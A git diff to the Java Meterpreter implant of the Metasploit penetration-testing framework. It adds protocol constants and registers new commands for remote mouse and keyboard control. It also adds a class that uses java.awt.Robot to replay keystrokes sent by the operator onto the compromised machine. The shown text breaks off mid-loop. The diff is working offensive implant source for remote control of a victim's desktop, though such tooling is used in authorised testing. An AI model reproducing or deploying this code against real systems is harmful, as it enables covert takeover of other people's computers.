diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java index 6ad66830..a9892bf4 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java @@ -173,9 +173,14 @@ public interface TLVType { public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550; // Ui - public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; - public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001; - public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; + public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000; + public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001; + public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002; + public static final int TLV_TYPE_KEYS_SEND = TLVPacket.TLV_META_TYPE_STRING | 3014; + public static final int TLV_TYPE_MOUSE_ACTION = TLVPacket.TLV_META_TYPE_UINT | 3015; + public static final int TLV_TYPE_MOUSE_X = TLVPacket.TLV_META_TYPE_UINT | 3016; + public static final int TLV_TYPE_MOUSE_Y = TLVPacket.TLV_META_TYPE_UINT | 3017; + public static final int TLV_TYPE_KEYEVENT_SEND = TLVPacket.TLV_META_TYPE_RAW | 3018; // Event Log public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java index 09f0dae6..0067adbd 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/Loader.java @@ -52,6 +52,8 @@ public class Loader implements ExtensionLoader { mgr.registerCommand("stdapi_sys_process_close", stdapi_sys_process_close.class); mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4); + mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4); + mgr.registerCommand("stdapi_ui_send_keyevent", stdapi_ui_send_keyevent.class, V1_4); mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4); } } diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent.java new file mode 100644 index 00000000..cab62b0e --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent.java @@ -0,0 +1,5 @@ +package com.metasploit.meterpreter.stdapi; + +// Dummy class +public class stdapi_ui_send_keyevent { +} diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java new file mode 100644 index 00000000..547f5a67 --- /dev/null +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java @@ -0,0 +1,67 @@ +package com.metasploit.meterpreter.stdapi; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.command.Command; + +import java.awt.Robot; +import java.awt.event.KeyEvent; +import java.security.Key; +import java.util.HashMap; +import java.util.Map; + +public class stdapi_ui_send_keyevent_V1_4 extends stdapi_ui_send_keyevent implements Command { + + private static Map keyMapping = new HashMap() + { + { + put(0x08, KeyEvent.VK_DELETE); + put( 0x09 , KeyEvent.VK_TAB); + put( 0x0C , KeyEvent.VK_CLEAR); + put( 0x0D , KeyEvent.VK_ENTER); + put( 0xBA , KeyEvent.VK_SEMICOLON); + put( 0xBB , KeyEvent.VK_EQUALS); + put( 0xBC , KeyEvent.VK_COMMA); + put( 0xBD , KeyEvent.VK_MINUS); + put( 0xBE , KeyEvent.VK_PERIOD); + put( 0xBF , KeyEvent.VK_SLASH); + put( 0xC0 , KeyEvent.VK_QUOTE); + put( 0xDB , KeyEvent.VK_BRACELEFT); + put( 0xDC , KeyEvent.VK_BACK_SLASH); + put( 0xDD , KeyEvent.VK_BRACERIGHT); + put( 0xDE , KeyEvent.VK_NUMBER_SIGN); + put( 0xDF , KeyEvent.VK_BACK_QUOTE); + } + }; + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + byte[] keyevents = request.getRawValue(TLVType.TLV_TYPE_KEYEVENT_SEND); + for (int i=0;i + +